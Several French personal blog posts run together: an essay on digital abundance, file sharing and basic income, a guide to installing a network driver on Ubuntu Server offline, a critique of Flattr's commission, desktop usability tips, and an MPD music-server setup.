L’arrivée du numérique a de facto rendu tout ce qui est immatériel abondant. La musique est le premier domaine à avoir massivement profité de cette amélioration technologique, suivie par les films, les jeux vidéos, les livres, l’information, etc. Les industries travaillant dans ces domaines d’activité ont toutes un point commun : leurs modèles économiques sont en train de s’effondrer.

Mais ce progrès ne devrait pas s’arrêter à l’immatériel : une seconde vague d’abondance pourrait bien accélérer le processus d’évolution de la société : l’autofabrication à portée de tous (par exemple l’impression 3D) permettra potentiellement à chaque foyer de posséder sa propre usine miniature à faible coût. Beaucoup d’entreprises pourront mettre la clé sous la porte : pourquoi j’irai acheter une chaise dans un magasin si je peux la télécharger et « l’imprimer » chez moi ?

Dans une génération, on sera bien en peine d’expliquer à nos petits-enfants comment on a pu vivre sans son autofabricateur, et qu’on devait commander des biens préfabriqués en ligne et attendre qu’ils nous arrivent dans notre boîte aux lettres livrés par la Poste.

Cette prospérité est inéluctable. Mais surtout, et je voudrais insister là-dessus, elle est souhaitable. Comment en sommes-nous arrivé à croire le contraire ? La question ne devrait pas être de savoir si oui ou non il faut tolérer le partage de fichiers, mais au contraire comment faire pour l’encourager.

Corriger le problème économique

L’équilibre entre l’abondance et la rareté évolue. Dans un monde de rareté, l’économie peut fonctionner. Dans un monde d’abondance absolue, l’économie telle que nous la connaissons serait contre-productive, et à la limite il n’y aurait pas besoin d’argent (aurions-nous inventé l’argent si rien n’était rare ?). Mais le problème se pose lorsque le monde est composé à la fois de domaines d’abondance et de rareté : pourquoi les personnes travaillant dans un domaine d’abondance ne pourraient-elles pas gagner d’argent, alors que celles travaillant dans un domaine de rareté le pourraient ?

Quelles sont les solutions envisagées pour le résoudre ? En voici cinq (peut-être y en a-t-il d’autres).

La rareté imposée

La première, c’est d’imposer par la loi ou par la technique la rareté, pour lutter au maximum contre l’abondance des choses. C’est la solution envisagée par beaucoup de lois actuelles (Hadopi en France), souvent écrites par les lobbies des entreprises qui bénéficient de cette rareté. Sans commentaire.

Les profits indirects

La deuxième consiste à bénéficier de l’abondance pour atteindre un public plus important. Typiquement, un chanteur rend sa musique accessible à tous, cela contribuera à le faire connaître et lui permettra d’attirer plus de monde à ses concerts. L’idée est séduisante, mais elle ne s’applique pas à tous les domaines (il serait par exemple difficile pour un écrivain d’obtenir des profits indirects). Néanmoins, même si elle est insuffisante, cette solution est naturellement plébiscitée lorsque c’est possible.

La contribution créative

La troisième est une contribution forfaitaire, appelée contribution créative (plus connue sous le nom de licence globale), versée mensuellement par chaque internaute. Philippe Aigrain détaille cette proposition dans son livre Internet & Création. Elle possède un atout majeur : autoriser et favoriser les échanges hors-marché.

Néanmoins, j’émets quelques doutes : je la considère comme une solution temporaire. En effet, si le calcul prend en compte les médias (musique, films, livres…), toute forme de création (présente et future) n’est pas concernée, comme par exemple les logiciels libres. Sans parler de la future duplication des objets matériels évoquée plus haut.

De plus, elle ne prend pas en compte l’augmentation de la diversité : plus il y a d’auteurs, moins chaque auteur sera rémunéré.

Enfin, ce mécanisme induit nécessairement une centralisation : chaque auteur devrait adhérer à une gestion collective, et nous devrions mesurer la proportion des échanges pour redistribuer la cagnotte à chacun. Je suis a priori réticent face à une telle centralisation (mais pourquoi pas ?).

Le don

Une autre solution est la rémunération par le don. Le principe est simple : chaque œuvre est accessible à tous, ceux qui ont apprécié peuvent rémunérer l’auteur. Ce mécanisme peut sembler bien limité : le montant récolté sera probablement insuffisant, et utilisé seul, l’incertitude de revenu ne favoriserait pas la pratique d’activités non marchandes.

Cependant, ce système de rémunération est intéressant, car il favorise les échanges hors-marché tout en permettant une rétribution de l’auteur, sans centralisation.

Le revenu de base

Enfin, la solution que je trouve la plus séduisante est le revenu de base, un revenu versé inconditionnellement à chacun et suffisant pour vivre.

Une fois ce revenu garanti, certains ne s’épanouiraient-ils pas dans des domaines moins rémunérateurs, mais davantage bénéfiques pour tout le monde ? D’autant que ce n’est pas l’argent qui nous motive vraiment dans le travail (encore faut-il en avoir suffisamment pour vivre).

Ne croyez-vous pas qu’un frein majeur au développement des logiciels libres (par définition copiables, donc abondants) soit justement la nécessité de gagner de l’argent sur la rareté ? Bien sûr, il est possible d’être rémunéré indirectement, par les services, le support… Mais est-ce suffisant ? Les entreprises sont même parfois contraintes de financer le logiciel libre par le logiciel propriétaire…

Par ailleurs, dans le domaine de l’information où l’indépendance est capitale, ce revenu de base s’ajoutant aux autres sources de financement pourrait contribuer à réduire la dépendance économique des journalistes.

Ce ne sont que quelques arguments en faveur du revenu de base. J’en développe d’autres dans mon billet consacré au dividende universel, et je détaille l’injustice monétaire, un argument central justifiant sa mise en place.

À propos de la monnaie justement, le don est actuellement découragé à cause de la structure centralisée du système monétaire. Je pense qu’une monnaie à dividende universel permettrait de faciliter cette forme de rémunération supplémentaire…

Je suis persuadé que cette proposition est au moins une partie de la solution au problème économique de l’abondance. Je regrette qu’elle soit si peu évoquée dans les débats sur le droit d’auteur.

Conclusion

Je souhaite que le libre partage de la culture, de la connaissance, et plus généralement de tous les biens non-rivaux soit légalisé. Non pas pour quémander un droit qui serait illégitime, mais au contraire parce que je pense que c’est une évolution nécessaire et positive pour la société. En particulier, l’utilisation non-commerciale d’une œuvre devrait être un droit du public non contestable par l’auteur.

Nous ne pouvons accepter le seul argument économique pour justifier de lutter contre l’abondance, alors même que l’économie a pour objectif de résoudre des problèmes de rareté. Nous devons au contraire mettre en place un système qui assure la subsistance de chacun et qui favorise le partage et l’abondance.

Je viens de migrer mon auto-hébergement vers cette nouvelle machine. Elle est très silencieuse (il n’y a pas de ventilateur) et consomme peu.

Je n’envisageais pas d’écrire un billet, mais l’installation d’Ubuntu Server 11.04 ne se déroule pas sans incidents :

Aucune interface réseau n’a été détectée

C’est le genre de problèmes qu’on espère un jour ne plus connaître lorsqu’on installe une distribution… Surtout lorsque ce problème en provoque d’autres… Ceci est donc un aide-mémoire qui me sera utile pour une future installation.

Installation

Tout d’abord, il faut ignorer le message d’erreur, tant pis, l’installation sera effectuée sans réseau.

Ensuite la section Choisir et installer des logiciels, il ne faut surtout pas activer Mail (postfix et dovecot) dans la liste : cela ferait planter le processus d’installation car il ne trouve pas d’interface réseau. En effet, dans /var/log/syslog, on trouve une erreur du genre :

postfix/sendmail: fatal: could not find any active network interfaces

On installera donc le serveur mail plus tard.

En suivant ces conseils, l’installation doit se dérouler correctement.

Récupération des pilotes

À partir d’un autre ordinateur, récupérer la dernière version des sources du pilote (j’en fait une copie chez moi, au cas où).

Ensuite, on est un peu embêté, car on devrait extraire les sources sur le serveur et exécuter sudo make install. Sauf que make n’est pas installé par défaut sur Ubuntu Server (merci Ubuntu !), et pour l’installer, il faut le réseau… qu’on aura une fois qu’on aura installé les pilotes…

Heureusement, on peut s’en sortir manuellement. Pour cela, sur un ordinateur qui possède make (avec le même noyau pour la même architecture), extraire les sources de l’archive dans un répertoire et exécuter :

tar xvjf jme-1.0.7.1.tbz2
cd jmebp-1.0.7.1
make

Cela crée un fichier jme.ko (je suis gentil, je vous donne le fichier déjà compilé pour le noyau 2.6.38-8-server en amd64). Le copier sur une clé USB.

Installation des pilotes

Ensuite, brancher la clé USB sur le serveur, et déterminer son emplacement (sous la forme /dev/sdX1). Pour cela, (une technique parmi d’autres) juste après l’avoir branchée, exécuter :

tail /var/log/syslog

La commande doit afficher plusieurs lignes ressemblant à ceci :

Jun  6 22:33:19 rom-server kernel: [1046971.365046] sd 12:0:0:0: [sdb] Attached SCSI removable disk

Ici, l’emplacement est donc /dev/sdb1.

Monter donc la clé :

sudo mount /dev/sdb1 /mnt

Puis installer le pilote compilé au bon endroit et l’activer :

sudo install -m 644 /mnt/jme.ko /lib/modules/$(uname -r)/kernel/drivers/net
sudo modprobe jme

Finaliser l’installation

Ajouter à la fin de /etc/network/interfaces :

auto eth0
iface eth0 inet dhcp

Et rebooter :

sudo reboot

Normalement, la carte devrait être détectée (on peut tester avec ifconfig).

Si tout est OK, on peut maintenant installer le serveur mail.

Principe

Flattr est un système de micro-paiement permettant de rémunérer les auteurs des contenus sur Internet. Le principe est simple : chaque mois, l’utilisateur choisit la somme qu’il va donner (avec un minimum de 2€). Lorsqu’il tombe sur un site qui supporte Flattr, il a la possibilité de cliquer sur un bouton indiquant qu’il apprécie son contenu. À la fin du mois, la somme qu’il a versée est répartie entre les auteurs des différents contenus qu’il a appréciés (moins la commission que prend Flattr, 10% des versements effectués).

Ce principe est très séduisant, car avant cela il n’était pas possible facilement de donner de petites sommes à plein d’auteurs.

Mais malheureusement, il y a une arnaque dans le système.

10% de commission

Flattr prélève 10% des sommes versées. Dit comme ça, on a l’impression que ce n’est pas grand chose : si je mets 2€, 0,20€ leur seront destinés, et 1,80€ seront pour les auteurs, rien de très choquant à première vue. Sauf que globalement, cela leur permet juste de récupérer quasiment tout l’argent injecté.

Je vais tenter d’expliquer pourquoi.

De l’argent disparaît chaque mois

Afin de bien discerner comment se comporte l’argent injecté (vers où il va surtout), décidons pour les besoins de la démonstration qu’aucun argent neuf n’est rajouté chaque mois. Le premier mois, chacun verse une somme quelconque (pour un total qu’on appellera M). Les mois suivants, ils versent une somme de manière à ce qu’il y ait autant d’argent qui rentre que d’argent qui est sorti du mois précédent. Par exemple, chacun remet ce qu’il a gagné (si j’ai gagné 7€ je remets les 7€, si j’ai gagné 12€ je remets les 12€). Comme Flattr prend 10% sur les versements, nous pouvons déterminer à coup sûr le montant total d’un mois donné : 0,9×(montant du mois précédent).

Sur une période de m mois, la part destinée à Flattr est donc de (1 – 0,9^m) × M.

Regardons donc quelle part de ce montant Flattr s’accapare sur une période plus longue.
Sur 1 an, (1 – 0,9¹²) × M = 0,7176 × M, soit 71,76% de la somme totale !
Sur 5 ans, (1 – 0,9⁶⁰) × M = 0,9982 × M, soit 99,82%. Autrement dit, tout est pour Flattr.

S’il y a 20000 inscrits qui versent chacun 10€, M = 20000 × 10 = 200000€. Sur 1 an, 143514,09€ seront destinés à Flattr. Sur 5 ans, pas moins de 199640,60€, le reste circulant entre les membres.

Imaginez que votre compte en banque soit prélevé chaque mois 10% de son montant pour frais de gestion. Vous avez 5000€, vous êtes prélevés de 500€. Le mois suivant, plus que 450€… Au bout d’un an, il ne va pas rester grand chose pour échanger avec les autres…

Nous avons simplifié le problème en n’injectant pas d’argent neuf. Ou plutôt nous avons supprimé ce qui cachait cette incroyable distribution. Maintenant plaçons-nous dans le cas « réel » et injectons cet argent neuf chaque mois, de manière à ce que le montant total reste égal à M = 200000€ (par exemple, les 20000 membres versent 10€ chaque mois). Par rapport à l’exemple précédent, les membres injectent donc 20000€ d’argent neuf dans le système (en plus des 180000€ restants du mois précédent). Mais cet « argent neuf », il va évidemment subir le même traitement que dans la situation précédente, avec un mois de décalage, et être principalement redistribué vers Flattr au bout de quelques mois. C’est donc encore plus d’argent pour Flattr.

10%… voire 100%

Sur une longue période, nous avons vu que Flattr rafflait une part essentielle de tous les versements. Mais regardons ce qui se passe sur un seul mois, en pourcentage. Nous avons l’impression que la commission est de 10%, mais en fait elle est beaucoup plus importante, car les échanges entre les membres se compensent, au moins en partie.

Pour le comprendre, prenons un exemple concret, avec 3 membres, qui versent chacun 10€ :

• A donne 6 à B et 3 à C (et 1 à Flattr) ;
• B donne 4 à A et 5 à C (et 1 à Flattr) ;
• C donne 4 à A et 5 à B (et 1 à Flattr).

Combien d’argent a été échangé en tout entre les membres ?

• 2€ entre A et B (6€ de A vers B et 4€ de B vers A) ;
• 1€ entre A et C (3€ de A vers C et 4€ de C vers A) ;
• 0€ entre B et C (5€ de B vers C et 5€ de C vers B).

3€ ont donc été échangés. Et pour ces 3€ d’échange, 3€ ont été donnés à Flattr, soit 50% des échanges totaux !

C’est même pire que cela, car il faut prendre en compte la transitivité. Ici, C transfert 1€ vers A, et A transfert 2€ vers B, on en a conclu qu’il y avait 3€ échangés. Mais l’euro qui transite de C vers A est « contenu » dans les 2€ qui transitent de A vers B. Globalement, tout se passe comme si A et C transféraient chacun 1€ vers B. Soit un total de 2€ échangés. La part de Flattr dans la somme des échangés est donc de 60% dans ce cas-là. Mais il ne faut pas s’arrêter là, il faut aussi intégrer la transitivité des transferts d’argent vers Flattr : A et C transfèrent chacun 1€ vers B (et 1€ vers Flattr), et B transfert 1€ vers Flattr. La situation est donc la même que si A et C transféraient chacun 0,50€ vers B et 1,50€ vers Flattr. Soit 75% des transferts pour Flattr (cette part correspond à 100% moins le ratio du montant gagné par les membres ayant un gain par rapport au montant perdu par les membres ayant une perte).

Le résultat après le premier mois est donc de :

• A : -2€ ;
• B : +1€ ;
• C : -2€ ;
• Flattr : +3€.

Donc exactement comme si A et C avaient chacun donné 0,50€ à B et 1,50€ à Flattr.

Dans le cas limite, si tous les dons sont parfaitement répartis (chacun donne autant qu’il reçoit, moins les 10%), alors tout se passe comme s’il n’y avait aucun échange entre les membres. Chacun a mis 10€, et reçoit 9€. Résultat des courses : le seul échange d’argent qui s’opère est le transfert d’1€ de chaque membre vers Flattr, soit 100% des échanges.

La somme récupérée en valeur absolue par Flattr chaque mois est connue à l’avance (10% de M, ce qui est énorme, comme nous l’avons vu en quelques mois ils récupèrent quasiment tout). En valeur relative par rapport aux échanges effectués, en fonction de l’équilibre des dons, ce transfert d’argent des membres vers Flattr représente entre 10% et 100% des échanges. Ce système coûte donc extrêmement cher par rapport aux échanges qu’il permet.

Conclusion

Le concept de base est intéressant et séduisant, mais certaines arnaques sont bien dissimulées. Il vaut mieux en avoir conscience avant de s’inscrire à un système injuste.
Pour corriger ces problèmes, Flattr pourrait être rémunéré de la même manière que ses membres : par les micro-dons.

Il y a également d’autres problèmes que je n’ai pas évoqués ici.

Je réponds aux deux principales critiques à ce billet en commentaire.

1101 est à lire en binaire, ça fait légèrement moins qu’en décimal

Gnome

Positionnement d’un ascenseur

Il y a plusieurs interactions possibles avec un « ascenseur » (horizontal ou vertical) :

• un clic sur les petites flèches permettent de déplacer le curseur ligne par ligne ;
• un clic dans la partie grisée permet de déplacer le curseur page par page ;
• un glisser-déposer (clic gauche maintenu sur le curseur pendant un déplacement) permet de placer le curseur à volonté.

Il y existe une 4e méthode, moins connue, mais bien plus pratique, qui permet de positionner le curseur directement à une position (comme le glisser-déposer, mais sans avoir besoin d’aller chercher le curseur) : il suffit de cliquer avec le bouton du milieu à la position désirée dans la barre, le curseur va s’y positionner aussitôt. En maintenant enfoncé le clic milieu, il est également possible de déplacer le curseur.

Ceci fonctionne également pour les sliders, par exemple pour le contrôle du volume dans l’applet de son de Gnome, ou pour la barre d’avancement d’un lecteur vidéo (même si maintenant ils ont adopté ce comportement par défaut sur le clic gauche).

Contrôle du volume

Lorsque l’on clique sur l’applet de son de Gnome, un slider permettant de changer le volume apparaît. Mais il est également possible de survoler l’icône de son et d’augmenter ou de diminuer le volume grâce à la molette de la souris, sans cliquer.

Déplacement d’un applet

Sous Gnome, les barres du haut et du bas accueillent des applets. Avec un clic-droit sur l’un d’entre eux, un menu contextuel permet, entre autres, de le déverrouiller pour pouvoir le déplacer.

Si l’applet est déverrouillé, ce même menu permet de le déplacer. Mais pour cela il y a plus simple : glisser-déposer l’applet en utilisant le clic milieu (cliquer et maintenir enfoncé le clic milieu et déplacer l’applet).

Les icônes de raccourcis étant des applets particuliers, ils sont déplaçables de cette manière.

Double-panneau Nautilus

Nautilus permet d’afficher deux panneaux côte à côte en pressant la touche F3.

Une seconde pression sur F3 repasse en mode « un seul panneau » (le panneau inactif est alors supprimé). Cette fonctionnalité est très pratique pour faire des déplacements ou des copies de fichiers, de manière beaucoup plus directe que par l’utilisation de plusieurs fenêtres ou même d’onglets.

Renommage avec ou sans extension

Pour renommer un fichier dans Nautilus, vous connaissez sûrement la touche F2, qui renomme en présélectionnant le nom du fichier sans l’extension :

Mais il est également possible de renommer en présélectionnant le nom du fichier avec l’extension, grâce à Shift+F2.
EDIT : Ou alors, deux fois F2.

Compiz

Déplacement d’une fenêtre

Cette fonctionnalité est assez connue et utilisée je pense, puisqu’elle fonctionne avec quasiment tous les gestionnaires de fenêtres : le déplacement d’une fenêtre grâce à Alt+clic gauche. Elle est très pratique, car elle évite d’aller chercher la barre de titre pour déplacer une fenêtre.

Redimensionnement d’une fenêtre

De la même manière, il est possible de redimensionner une fenêtre grâce à Alt+clic milieu. Celle-ci est quasiment indispensable, tellement le fait d’aller chercher un bord de fenêtre est « coûteux ».
La fenêtre est virtuellement découpée en 9 parties égales (3 horizontales et 3 verticales). Lorsque vous laissez enfoncée la touche Alt et que vous appuyez sur le clic milieu au-dessus d’une fenêtre, le redimensionnement commence à partir du bord le plus proche (dépendant de la « partie » de la fenêtre que vous survolez).

Capture d’écran rapide par zone

Grâce à Compiz, il est possible de capturer très simplement une zone de l’écran, grâce à Super+clic gauche (la touche Super est la touche Windows sur la majorité des claviers) :

Pour cela, il faut activer le plug-in « Capture d’écran » dans ccsm (compizconfig-settings-manager doit être installé), et choisir un répertoire de destination (le bureau par exemple, j’en avais déjà parlé ici).

Changement de bureau

Par défaut, le changement de bureau est désactivé lors du déplacement d’une fenêtre sur un bord et lors d’un scroll avec la molette de la souris sur le bureau. Personnellement, je préfère l’activer.
Cela se configure dans ccsm (là encore, compizconfig-settings-manager doit être installé).

Pour changer de bureau lors d’un déplacement de fenêtre au bord de l’écran : Bureaux sur un plan (version améliorée) → Changement de bureau aux bords (dernier onglet)→ Changement en déplaçant une fenêtre au bord (2e case à cocher).
Pour changer de bureau lors d’un scroll : Changeur de bureau → Desktop-based viewport switching → Bureau suivant = Button5 ; Bureau précédent = Button4.

Firefox

Ajout d’un lien dans gnome-panel

Pour garder en mémoire une URL, la méthode la plus simple et la plus appropriée est bien sûr l’utilisation de marque-pages. Mais je trouve pratique de mettre un raccourci dans la barre de Gnome, pour une page que je veux lire plus tard.
Pour cela, il suffit de glisser-déposer le petit icône (le favicon) à gauche de la barre d’adresse vers la barre de Gnome. Il est par contre regrettable que l’icône du raccourci ainsi créé ne soit pas le favicon.

Suppression d’un historique de liste déroulante

Lorsqu’une liste déroulante propose des résultats déjà entrés auparavant (à partir de l’historique par exemple), il est possible de supprimer spécifiquement une entrée rapidement, en survolant avec la souris l’entrée correspondante et en appuyant sur Shift+Suppr.

Cela fonctionne dans la barre d’adresse, dans la barre de recherche et dans toute entrée de formulaire d’une page web.

Chargement d’une URL par un clic milieu

Lorsqu’une URL est présente dans le presse-papier, il est possible de la charger dans Firefox avec un simple clic milieu. Pour activer cette fonctionnalité, il faut taper about:config dans la barre d’adresse et passer la valeur de middlemouse.contentLoadURL à true.

Il suffit alors de surligner une URL (dans un fichier texte par exemple) puis de cliquer milieu dans le contenu d’une page dans Firefox (sur un espace « vide », pas sur un lien ou dans un champ de formulaire).

EDIT : Ou sans modifier la configuration par défaut, voir commentaire #1.

Notifications intégrées

Les notifications de Firefox ne sont pas intégrées au système : par défaut c’est un rectangle qui s’ouvre en bas à droite.
Pour utiliser le système de notification d’Ubuntu, il suffit d’installer le paquet xul-ext-notify (anciennement firefox-notify) et de redémarrer Firefox. C’est dommage qu’il ne soit pas installé par défaut.

Conclusion

Voilà les quelques astuces que je pouvais partager avec vous. Si vous en avez d’autres, n’hésitez pas à les détailler.

MPD est un lecteur audio libre un peu particulier : il fonctionne suivant le modèle client/serveur. Le serveur lit la musique, et les clients font office de télécommande (évoluée).

Typiquement, le serveur est installé sur une machine reliée aux enceintes du salon, et les clients sont installés sur chacun des ordinateurs et des téléphones (ainsi que sur le serveur lui-même s’il est relié à un écran).

Serveur

Installation

L’installation est extrêmement simple (testé sur Ubuntu 10.10), il suffit d’installer mpd :

sudo apt-get install mpd

Ensuite, il y a quelques petites lignes à modifier dans le fichier de configuration /etc/mpd.conf.
Tout d’abord, il faut définir le répertoire du serveur qui contient la musique :

music_directory                "/home/rom/Musique"

Il vaut mieux commenter la ligne bind_to_address (pour éviter pas mal de problèmes) :

#bind_to_address               "localhost"

Pour que MPD ne monopolise pas le son de tout le système, commenter la ligne :

#	device		"hw:0,0"	# optional

Enfin, pour pouvoir changer le volume, décommenter la ligne :

mixer_type                     "software"

Mise à jour de la base de données

La première fois, et à chaque fois que de nouveaux fichiers sont ajoutés au répertoire de musique, la base de données doit être mise à jour :

sudo mpd --create-db

(le serveur doit être stoppé pour mettre à jour la base de cette manière)

Des logiciels clients permettent également de mettre à jour la base d’un simple clic.

Vérifiez bien que les fichiers contenus dans ce répertoire sont bien lisibles par tous (en particulier par l’utilisateur mpd). Si ce n’est pas le cas, modifiez les droits avec :

chmod +r -R /home/rom/Musique

Démarrage et arrêt

Pour démarrer le serveur :

sudo service mpd start

Pour le stopper :

sudo service mpd stop

Il démarrera automatiquement à chaque démarrage du système.

Clients

Les clients permettent de gérer la lecture à distance. Il est possible d’ouvrir plusieurs clients à la fois (un sur l’ordinateur et un sur le téléphone par exemple) qui resteront synchronisés avec le serveur. La lecture ne s’arrête pas lors de la fermeture du client. Chaque client a juste besoin de l’IP du serveur et du port (par défaut 6600).

Il en existe de nombreux pour toutes les plateformes. Malheureusement, beaucoup ne sont pas stables et souffrent de problèmes d’ergonomie. Globalement, ils sont moins agréables à utiliser qu’un vrai lecteur de musique installé localement (mais les contraintes ne sont pas les mêmes).

Je vais en présenter deux, un pour Gnome et un pour Android.

Ario

Après avoir testé de nombreux clients pour PC, mon choix s’est porté sur Ario :

Quelques avantages qui m’ont convaincu :

• il est très bien intégré à Gnome (y compris avec le système de notifications utilisé par Ubuntu) ;
• il ressemble beaucoup à Rhythmbox dans son utilisation ;
• le double-clic sur un album peut être configuré pour remplacer la liste de lecture (plutôt que d’ajouter son contenu à la fin, sans le lire immédiatement), contrairement à de nombreux clients ;
• l’interface ne reste pas figée systématiquement lors d’une communication avec le serveur ;
• la base de données du serveur peut être mise à jour en un clic…

DMix/MPDroid

Du côté d’Android, il y a beaucoup moins de clients. J’ai choisi DMix/MPDroid (qui est un fork de PMix) :

C’est un simple fichier apk à installer.

Dans la bibliothèque, lors de la navigation dans la liste des albums, une pression longue ajoute l’album sélectionné à la liste de lecture alors qu’une pression courte permet de naviguer vers les titres de l’album (pour les ajouter un par un). Le fonctionnement est similaire pour la liste des artistes. C’est bon à savoir

Aller plus loin

Je me suis contenté ici de décrire les fonctionnalités de base de MPD qui me sont utiles. Mais il est également possible de le configurer en serveur de streaming, pour lire la musique du serveur sur un ordinateur ou un téléphone. OpenSyd en parle à la fin d’un récent billet.

Conclusion

Ce lecteur est vraiment très pratique pour une gestion centralisée de la musique chez soi, et permet de toujours lire la musique sur le système son du salon (plutôt que sur la sortie audio de l’ordinateur).